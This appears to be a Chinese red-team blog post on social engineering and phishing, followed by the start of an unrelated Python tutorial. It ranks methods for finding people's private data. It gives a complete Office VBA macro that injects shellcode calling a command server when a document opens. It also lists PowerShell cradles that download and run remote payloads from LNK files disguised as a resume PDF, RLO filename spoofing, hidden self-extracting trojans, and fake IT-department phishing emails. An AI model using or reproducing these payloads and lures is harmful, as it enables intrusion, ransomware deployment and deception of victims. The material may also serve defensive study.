&lt;h2&gt;二、社工&lt;/h2&gt;
&lt;p&gt;通过公开信息&lt;/p&gt;
&lt;p&gt;未公开，公安查询系统、学籍系统、社工库&lt;/p&gt;
&lt;p&gt;心里操纵术、心动、泄露机密、骗局&lt;/p&gt;
&lt;p&gt;&lt;s&gt;出租微信&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;帮别人辅助验证&lt;/s&gt;&lt;/p&gt;
&lt;h3&gt;1、相关法律&lt;/h3&gt;
&lt;p&gt;出售或提供⾏踪轨迹、通信内容、征信信息、财产信息：50条
获取、出售、提供住宿信息、通信记录、健康⽣理、交易信息：500条
违法所得五千元以上&lt;/p&gt;
&lt;h3&gt;2、侵犯公民个人信息罪的特点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;其他各类犯罪的上游犯罪&lt;/li&gt;
&lt;li&gt;内部人员泄露信息&lt;/li&gt;
&lt;li&gt;完整利益链&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;不是专业领域，不要轻易使用公民个人信息&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;公民信息&lt;/p&gt;
&lt;p&gt;院校：班群&lt;/p&gt;
&lt;p&gt;个人：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;学习通搜索手机号查实名&lt;/li&gt;
&lt;li&gt;支付宝转账查部分名字&lt;/li&gt;
&lt;li&gt;QQ空间、朋友圈&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;最大社工库：微信搜索栏&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;三、钓鱼&lt;/h2&gt;
&lt;p&gt;​	我们的钓鱼一般都是获取初始访问的一个路口，伪装成一个可信实体，就譬如邮件，消息文本啊等等，然后受害人点开邮件，实战中通过都会做一个蠕虫，对内网做一个自动的攻击和传播，在传播到一定量的设备或者到某个时间点的时候自动转化为勒索病毒&lt;/p&gt;
&lt;p&gt;&lt;code&gt;钓鱼邮件上蠕虫，蠕虫控制内网转勒索病毒，勒索病毒加密文件或者直接锁设备，一开机就是一个勒索界面&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;水坑攻击&lt;/strong&gt;：在必经之路上设置一个门槛(必然会触发的东西)，最常见的就是网站，在网站的login.php这个目录下做了一个后门在这里，每次login登录成功都会发送到一个譬如说http://hack.org, 又譬如说公司有一个OA,OA里面有一个日常的文件下载，你就可以在文件下载里面埋雷&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;鱼叉攻击&lt;/strong&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;红蓝对抗的思路&lt;/p&gt;
&lt;p&gt;红蓝对抗在开始之前大概率已经拿到目标资产(靶标)了，在红蓝对抗开始之前我们会先做一个信息收集，信息收集到什么程度，这需要看你的胆量，在开始之前事实上是做一个未授权访问的信息收集，甚至可以说在还没开始前就给他种马，下马，下病毒，又或者给他打到web中啊，下一个后门什么的，这要看具体情况，在信息收集的过程中，我们需要收集到对方的一个服务版本、软件版本，在收集到服务版本、软件版本后就可以开始去搞0day了，搞0day有几种方式嘛，一个是买，让你公司给你买打对抗，打对抗去投点钱，去什么地方买几个0day做一个上线，还有一种方式是交换，用你手上的0day去换其他的0day，做一个交换，现挖是不太靠谱的，基本上都是买和换，这个时候呢，一旦你信息收集好了，0day找好了，那红蓝对抗刚刚开始的时候就直接打穿了，就获得了一个初始访问，就这种方式，人家不跟你web慢慢磨，护网刚开始那一波流量一定是最大的&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;1、office宏病毒&lt;/h3&gt;
&lt;p&gt;https://zhuanlan.zhihu.com/p/98526727#:~:text=%E5%AE%8F%E6%98%AFOffice,%E4%B8%80%E4%BA%9B%E4%BB%BB%E5%8A%A1%E8%87%AA%E5%8A%A8%E5%8C%96%E3%80%82&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;什么是office宏？&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	Office宏，译自英文单词Macro。宏是Office自带的一种高级脚本特性，通过VBA代码，可以在Office中去完成某项特定的任务，而不必再重复相同的动作，目的是让用户文档中的一些任务自动化。而宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档，其中的宏就会被执行，于是宏病毒就会被激活，转移到计算机上，并驻留在Normal模板上。

	Visual Basic for Applications（VBA）是Visual Basic的一种宏语言，是微软开发出来在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。主要能用来扩展Windows的应用程序功能，特别是Microsoft Office软件，也可说是一种应用程式视觉化的Basic 脚本。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/f042c7b644-image-20240127152534898.png&quot; alt=&quot;image-20240127152534898&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/cbc9e18632-image-20240127152659748.png&quot; alt=&quot;image-20240127152659748&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;将宏放到Word或Excel的文档中即可&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

#If VBA7 Then
    Private Declare PtrSafe Function CreateStuff Lib &quot;kernel32&quot; Alias &quot;CreateRemoteThread&quot; (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
    Private Declare PtrSafe Function AllocStuff Lib &quot;kernel32&quot; Alias &quot;VirtualAllocEx&quot; (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    Private Declare PtrSafe Function WriteStuff Lib &quot;kernel32&quot; Alias &quot;WriteProcessMemory&quot; (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
    Private Declare PtrSafe Function RunStuff Lib &quot;kernel32&quot; Alias &quot;CreateProcessA&quot; (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
    Private Declare Function CreateStuff Lib &quot;kernel32&quot; Alias &quot;CreateRemoteThread&quot; (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
    Private Declare Function AllocStuff Lib &quot;kernel32&quot; Alias &quot;VirtualAllocEx&quot; (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function WriteStuff Lib &quot;kernel32&quot; Alias &quot;WriteProcessMemory&quot; (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
    Private Declare Function RunStuff Lib &quot;kernel32&quot; Alias &quot;CreateProcessA&quot; (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If

Sub Auto_Open()
    Dim myByte As Long, myArray As Variant, offset As Long
    Dim pInfo As PROCESS_INFORMATION
    Dim sInfo As STARTUPINFO
    Dim sNull As String
    Dim sProc As String

#If VBA7 Then
    Dim rwxpage As LongPtr, res As LongPtr
#Else
    Dim rwxpage As Long, res As Long
#End If
    myArray = Array(-4,-24,-119,0,0,0,96,-119,-27,49,-46,100,-117,82,48,-117,82,12,-117,82,20,-117,114,40,15,-73,74,38,49,-1,49,-64,-84,60,97,124,2,44,32,-63,-49, _
13,1,-57,-30,-16,82,87,-117,82,16,-117,66,60,1,-48,-117,64,120,-123,-64,116,74,1,-48,80,-117,72,24,-117,88,32,1,-45,-29,60,73,-117,52,-117,1, _
-42,49,-1,49,-64,-84,-63,-49,13,1,-57,56,-32,117,-12,3,125,-8,59,125,36,117,-30,88,-117,88,36,1,-45,102,-117,12,75,-117,88,28,1,-45,-117,4, _
-117,1,-48,-119,68,36,36,91,91,97,89,90,81,-1,-32,88,95,90,-117,18,-21,-122,93,104,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,-1, _
-43,49,-1,87,87,87,87,87,104,58,86,121,-89,-1,-43,-23,-124,0,0,0,91,49,-55,81,81,106,3,81,81,104,-54,4,0,0,83,80,104,87,-119,-97, _
-58,-1,-43,-21,112,91,49,-46,82,104,0,2,64,-124,82,82,82,83,82,80,104,-21,85,46,59,-1,-43,-119,-58,-125,-61,80,49,-1,87,87,106,-1,83,86, _
104,45,6,24,123,-1,-43,-123,-64,15,-124,-61,1,0,0,49,-1,-123,-10,116,4,-119,-7,-21,9,104,-86,-59,-30,93,-1,-43,-119,-63,104,69,33,94,49,-1, _
-43,49,-1,87,106,7,81,86,80,104,-73,87,-32,11,-1,-43,-65,0,47,0,0,57,-57,116,-73,49,-1,-23,-111,1,0,0,-23,-55,1,0,0,-24,-117,-1, _
-1,-1,47,70,71,108,99,0,-53,62,-33,45,64,20,123,62,26,26,-89,104,3,-113,-76,88,-126,-120,-123,-66,-35,82,30,84,-4,-71,-41,0,44,7,-19,-85, _
-77,-99,74,84,-19,65,-15,98,112,-96,9,-92,75,-64,-40,54,118,31,-39,-82,109,99,-115,-76,58,-57,86,-57,118,62,118,22,-56,-77,-16,-38,100,-83,52,-51, _
-29,0,85,115,101,114,45,65,103,101,110,116,58,32,77,111,122,105,108,108,97,47,53,46,48,32,40,87,105,110,100,111,119,115,59,32,85,59,32,77, _
83,73,69,32,55,46,48,59,32,87,105,110,100,111,119,115,32,78,84,32,53,46,50,41,32,74,97,118,97,47,49,46,53,46,48,95,48,56,13,10, _
0,-18,54,68,-103,-100,38,83,15,115,-124,101,113,51,-83,-19,-86,14,25,5,21,-76,13,26,123,-104,46,-33,83,108,77,18,-49,-34,-123,3,-83,17,101,-35, _
-110,-70,-38,-62,-57,-106,-84,-95,117,-39,109,44,-108,-33,-25,7,-127,107,13,-50,9,-10,-94,-63,-59,-92,-100,51,-58,-22,66,62,20,64,-71,37,-76,-48,-13,117, _
-117,-18,106,-106,31,-69,-116,-112,-49,108,14,-104,-31,17,67,80,30,75,63,-84,30,-64,-49,101,83,48,-56,-44,96,79,-7,106,-67,87,-33,-90,122,-125,-43,56, _
-128,20,11,-41,16,-86,-76,108,-75,26,-65,4,-66,-87,-106,36,24,-58,-94,-57,79,95,-42,96,-78,-96,48,17,-73,-116,-52,106,-12,108,120,-46,43,99,30,-9, _
-27,20,86,65,-78,-25,-72,-84,81,-24,-44,112,22,-97,-118,-98,-115,4,1,-75,38,-93,94,87,19,38,-22,-15,13,-23,63,94,68,-35,-119,118,-4,2,-121,62, _
56,-64,46,112,53,-20,114,20,0,24,27,1,-61,-14,-108,6,41,63,-124,72,8,12,-66,77,-52,0,104,-16,-75,-94,86,-1,-43,106,64,104,0,16,0,0, _
104,0,0,64,0,87,104,88,-92,83,-27,-1,-43,-109,-71,0,0,0,0,1,-39,81,83,-119,-25,87,104,0,32,0,0,83,86,104,18,-106,-119,-30,-1,-43, _
-123,-64,116,-58,-117,7,1,-61,-123,-64,117,-27,88,-61,-24,-87,-3,-1,-1,52,55,46,49,48,48,46,49,56,50,46,56,56,0,18,52,86,120)
    If Len(Environ(&quot;ProgramW6432&quot;)) &amp;gt; 0 Then
        sProc = Environ(&quot;windir&quot;) &amp;amp; &quot;\\SysWOW64\\rundll32.exe&quot;
    Else
        sProc = Environ(&quot;windir&quot;) &amp;amp; &quot;\\System32\\rundll32.exe&quot;
    End If

    res = RunStuff(sNull, sProc, ByVal 0&amp;amp;, ByVal 0&amp;amp;, ByVal 1&amp;amp;, ByVal 4&amp;amp;, ByVal 0&amp;amp;, sNull, sInfo, pInfo)

    rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &amp;amp;H1000, &amp;amp;H40)
    For offset = LBound(myArray) To UBound(myArray)
        myByte = myArray(offset)
        res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&amp;amp;)
    Next offset
    res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对面用的是office，不是wps&lt;/p&gt;
&lt;p&gt;宏的免杀效果很烂&lt;/p&gt;
&lt;p&gt;一般来说宏病毒都会包含一个以上的自动宏(标准宏)&lt;/p&gt;
&lt;p&gt;宏病毒会把带病毒的宏移植到通用宏，通用宏就是电脑会有一个宏的存储的库，所有的office文档都会调用库里面的宏，这就意味着你只要使用了一次宏病毒，那其他的office文件都会自动感染到这个宏，原理就是将word系统退出的时候，他会把宏保存在模板中，但是启动的时候又会把通用宏载入到模板中&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;需要一些诱导性图示引导受害者开启宏&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/227ca78fa6-image-20240128173956953.png&quot; alt=&quot;image-20240128173956953&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;2、lnk钓鱼&lt;/h3&gt;
&lt;p&gt;lnk作为Windows的一个快捷方式&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/ef666bb099-image-20240128174717286.png&quot; alt=&quot;image-20240128174717286&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/831c4f0db0-image-20240128174936578.png&quot; alt=&quot;image-20240128174936578&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/b9e974be40-image-20240128175035858.png&quot; alt=&quot;image-20240128175035858&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;powershell.exe -nop -w hidden -c &quot;IEX ((new-object net.webclient).downloadstring(&apos;http://47.100.182.88:8888/a&apos;))&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;日志会有提示&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/ad789fece1-image-20240128175113737.png&quot; alt=&quot;image-20240128175113737&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;刚才如果没有复制的话可以在这里复制url&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/11a42eb324-image-20240128175331904.png&quot; alt=&quot;image-20240128175331904&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;将这一段url复制在快捷方式的目标位置上即可正常上线&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/49b1f3e36d-image-20240128175606977.png&quot; alt=&quot;image-20240128175606977&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;但是双击就是一个cmd界面太可怕了，所以还需配置一下运行方式改成最小化&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/6da0710e36-image-20240128182145228.png&quot; alt=&quot;image-20240128182145228&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;应用，然后双击运行后可以发现CS成功上线&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/98cd922ec9-image-20240128175723504.png&quot; alt=&quot;image-20240128175723504&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;但是这样也太明显了，钓鱼效果和免杀效果不太对劲，所以我们需要做一些伪装，譬如伪装成简历.pdf&lt;/p&gt;
&lt;p&gt;先改名&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/2430ee9819-image-20240128180122772.png&quot; alt=&quot;image-20240128180122772&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;这里就涉及到.lnk文件也就是快捷方式文件的性质，在Windows上面是没有显示后缀的&lt;/p&gt;
&lt;p&gt;这时候名字有了，但是还缺图标和内容&lt;/p&gt;
&lt;p&gt;我们点击更改图标会发现没有什么图标，更何况我们需要改成pdf样式的图标&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/426340583e-image-20240128183018081.png&quot; alt=&quot;image-20240128183018081&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;在这里我们需要注意不能直接下载一个图标直接更换，因为图标是下载到本地的，你发给对方对方并不能显示此图标，因此具体步骤如下&lt;/p&gt;
&lt;p&gt;操作系统自带了一个图标库&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;%SystemRoot%\System32\SHELL32.dll
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将地址复制到框中，点击确定，即可显示如下图标&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/f0f69a6841-image-20240128183628857.png&quot; alt=&quot;image-20240128183628857&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;但是是不是没有pdf图标，不过无关紧要&lt;/p&gt;
&lt;p&gt;我们随便选个图标做一个铺垫&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/4b1f9bdf6b-image-20240128183915577.png&quot; alt=&quot;image-20240128183915577&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;接下来打开十六进制编辑器&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/378525a403-image-20240128184037321.png&quot; alt=&quot;image-20240128184037321&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;将简历.pdf拖进来，OPen LNK，第一次打开会给我们一个提示，按提示安装LNK.bt即可，注意到下方有一个ICON变量&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/1982f494a9-image-20240128184420503.png&quot; alt=&quot;image-20240128184420503&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;这里无非就是指向图标的地址嘛，为什么之前要修改图标，如果说没有修改系统默认图标的话它是不会出现这个数据段的&lt;/p&gt;
&lt;p&gt;那这个时候下面有个String的值，我们同一对它做一个修改，直接双击点它输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.\1.pdf

# 1.pdf是不存在的，但是这个字段就是告诉计算机这是一个pdf的文件，这时候计算机就会做一个自动匹配图标的操作
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;回车、Ctrl+s保存&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/031e919ee7-image-20240128184715978.png&quot; alt=&quot;image-20240128184715978&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/5fd0ec0f52-image-20240128185146639.png&quot; alt=&quot;image-20240128185146639&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以发现就变成了pdf文件的图标了，不同的电脑显示的图标也会不一样，会自动匹配图标&lt;/p&gt;
&lt;p&gt;这时候我们还需要下载一个内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;powershell.exe -nop -w hidden -c &quot;Invoke-WebRequest -Uri http://192.168.1.10:8086/chfs/shared/csbjianli.pdf?v=1 -OutFile %homepath%/简历.pdf;%homepath%/简历.pdf;IEX ((new-object net.webclient).downloadstring(&apos;http://47.100.182.88:8888/a&apos;))&quot;

# 网上简历路径	http://hackattack.cn:49153/简历.pdf
				http://192.168.1.10:8086/chfs/shared/csbjianli.pdf?v=1

# 用户文件夹路径 	 %homepath%    %UserProfile%
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/14ade70887-image-20240128202501284.png&quot; alt=&quot;image-20240128202501284&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;这时候伪装就比较完美了&lt;/p&gt;
&lt;h3&gt;3、RLO控制字符反转&lt;/h3&gt;
&lt;p&gt;创建一个shell.exe木马文件，然后重命名为shelltxt.exe，这时候我们将光标放在txt的开头，然后右键，插入Unicode控制字符(I),点击RLO，RLO控制字符反转后就会变成shellexe.txt，发给别人显示的都是.txt，降低他人的防备心&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/602704f290-image-20240128203807590.png&quot; alt=&quot;image-20240128203807590&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;这时候再配合一个之前说的换图标的操作可以做到提高成功率的操作&lt;/p&gt;
&lt;h3&gt;4、自解压&lt;/h3&gt;
&lt;p&gt;将图片和木马文件一起添加压缩&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/555b894208-image-20240128204905185.png&quot; alt=&quot;image-20240128204905185&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;创建自解压格式压缩文件，将名字改为YEUgpj.exe，方便之后进行RLO控制字符反转&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/951b7b4a53-image-20240128210006739.png&quot; alt=&quot;image-20240128210006739&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;高级-&amp;gt;自解压选项&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/8979c553fd-image-20240128205105847.png&quot; alt=&quot;image-20240128205105847&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;模式-&amp;gt;全部隐藏&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/7c1c296390-image-20240128205205647.png&quot; alt=&quot;image-20240128205205647&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;设置-&amp;gt;解压后运行&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/0c368f94d7-image-20240128205317064.png&quot; alt=&quot;image-20240128205317064&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;更新-&amp;gt;更新模式/覆盖模式&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/7722ea3453-image-20240128205457542.png&quot; alt=&quot;image-20240128205457542&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;将图片转换成ico格式，载入文件图标&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/a708471e12-image-20240128205831244.png&quot; alt=&quot;image-20240128205831244&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;点击确定，生成压缩包&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/5330b19fdc-image-20240128210229636.png&quot; alt=&quot;image-20240128210229636&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再将压缩包的名字YEUgpj.exe进行RLO控制字符反转，步骤如之前所示&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/953f6bf3f7-image-20240128211045706.png&quot; alt=&quot;image-20240128211045706&quot; /&gt;&lt;/p&gt;
&lt;p&gt;反转成功&lt;/p&gt;
&lt;h3&gt;5、邮箱&lt;/h3&gt;
&lt;p&gt;用邮箱&lt;code&gt;批量发送&lt;/code&gt;探测对方存活，先用&lt;code&gt;零零信安&lt;/code&gt;找对方企业的邮箱资产&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/209e80161c-image-20240129085949176.png&quot; alt=&quot;image-20240129085949176&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;然后利用&lt;code&gt;163邮箱&lt;/code&gt;的邮件追踪或者已读回执，探测对方邮箱存活&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/2fcebd987f-image-20240129090106916.png&quot; alt=&quot;image-20240129090106916&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/privsec-social-phishing/b3a9122d1c-image-20240129090138012.png&quot; alt=&quot;image-20240129090138012&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;第一次先批量给对方邮件资产发送一份邮件，探测其存活并降低对方对你邮箱的警惕性,譬如&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;【技术管理部-紧急通知】关于护网期准备工作通知&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;然后通过邮件追踪或者已读回执，筛选出一批已经阅读过的邮箱，证明它是存活的，然后对这些邮箱再次发送一个邮件&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;【技术管理部-紧急通知】关于自检工作电脑漏洞的提示通知=&amp;gt;自检工具.zip/lnk钓鱼文件&lt;/p&gt;
&lt;h4&gt;这个自检工具.zip/lnk钓鱼文件就是木马&lt;/h4&gt;
&lt;/blockquote&gt;
&lt;p&gt;这两份干过去成功率挺高&lt;/p&gt;
</content:encoded></item><item><title>Python 基础、爬虫与信息收集</title><link>https://wangyi187.top/posts/web-09-python-crawler-osint/</link><guid isPermaLink="true">https://wangyi187.top/posts/web-09-python-crawler-osint/</guid><description>0x09 python基础&amp;爬虫&amp;信息收集 一、python基础 1、python前言 （一）解释器 计算机不能直接理解任何除机器语言以外的语言 ，必须要把程序语言翻译成机器语言，</description><pubDate>Fri, 26 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x09 python基础&amp;amp;爬虫&amp;amp;信息收集&lt;/h1&gt;
&lt;hr /&gt;
&lt;h2&gt;一、python基础&lt;/h2&gt;
&lt;h3&gt;1、python前言&lt;/h3&gt;
&lt;h4&gt;（一）解释器&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;计算机不能直接理解任何除机器语言以外的语言&lt;/strong&gt;，必须要把程序语言翻译成机器语言，计算机才能执行程序。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;编译器：将其他语言翻译成机器语言的工具&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;编译器翻译的方式：&lt;strong&gt;编译&lt;/strong&gt;，&lt;strong&gt;解释&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;两种方式的区别在于&lt;strong&gt;翻译时间点的不同&lt;/strong&gt;。当编译器&lt;strong&gt;以解释方式运行的时候&lt;/strong&gt;，也称之为&lt;strong&gt;解释器&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/be0618a0df-20210208184600472.png&quot; alt=&quot;20210208184600472&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;**编译型语言：**程序执行之前需要有一个专门的编译过程，把程序编译成为机器语言的文件，运行时不需要重新翻译，直接使用编译的结果就行了。&lt;strong&gt;程序执行效率高，依赖编译器，跨平台性差些。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;**解释型语言：**解释型语言编写的程序不进行预先编译，以文本方式存储程序代码，会将代码一句一句直接运行。在发布程序时，看起来省了道编译工序，但是在运行程序的时候，必须先解释再运行&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;编译型语言和解释型语言对比&lt;/strong&gt;&lt;/p&gt;
